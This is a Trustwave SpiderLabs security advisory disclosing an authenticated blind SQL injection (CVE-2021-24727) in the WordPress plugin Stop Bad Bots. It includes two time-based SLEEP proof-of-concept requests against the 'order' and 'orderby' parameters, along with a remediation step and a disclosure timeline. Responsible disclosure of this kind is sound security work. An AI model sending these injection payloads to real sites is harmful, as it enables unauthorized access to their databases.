Trustwave SpiderLabs Security Advisory TWSL2021-013: Authenticated SQL Injection in WordPress Plugin Stop Bad Bots Published: 09/10/2021 Version: 1.1 Vendor: Bill Minozzi (https://stopbadbots.com/) Product: WordPress Plugin Stop Bad Bots Version affected: <= 6.59 Product description: The plugin provides functionality to limit bot access to the web site. Finding 1: Authenticated SQL Injection *****Credit: Martin Vierula of Trustwave CVE: CVE-2021-24727 CWE: CWE-89 The plugin includes three pages: 'Bad Bots Table' (page=sbb_my-custom-submenu-page) 'Bad IPs Table' (page=sbb_my-custom-submenu-page2) 'Bad Referer Table' (page=sbb_my-custom-submenu-page3) All three of these pages are vulnerable to Authenticated Blind SQL Injection through both the 'order' and 'orderby' parameters. Based on the capabilities check that is in place, ordinarily only high-auth users would be able to exploit this. The following PoC outlines a time-based version of exploiting the vulnerability in the first of those pages via the 'order' parameter: GET /wp-admin/admin.php?page=sbb_my-custom-submenu-page3&order=ASC%2C%28SELECT+%2A+FROM+%28SELECT%28SLEEP%288%29%29%29a%29-- HTTP/1.1 The following PoC outlines a time-based version of exploiting the vulnerability in the first of those pages via the 'orderby' parameter: GET /wp-admin/admin.php?page=sbb_my-custom-submenu-page3&orderby=botnickname,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%288%29%29%29a%29%23 HTTP/1.1 Remediation Steps: Upgrade the WordPress Plugin Stop Bad Bots to version 6.60 or the latest stable version. Revision History: 07/21/2021 - Disclosed finding to vendor 08/02/2021 - Vendor releases fix 08/06/2021 - Advisory verson 1.0 published 09/10/2021 - CVE assigned 09/10/2021 - Advisory version 1.1 published References 1. https://wordpress.org/plugins/stopbadbots/#developers About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.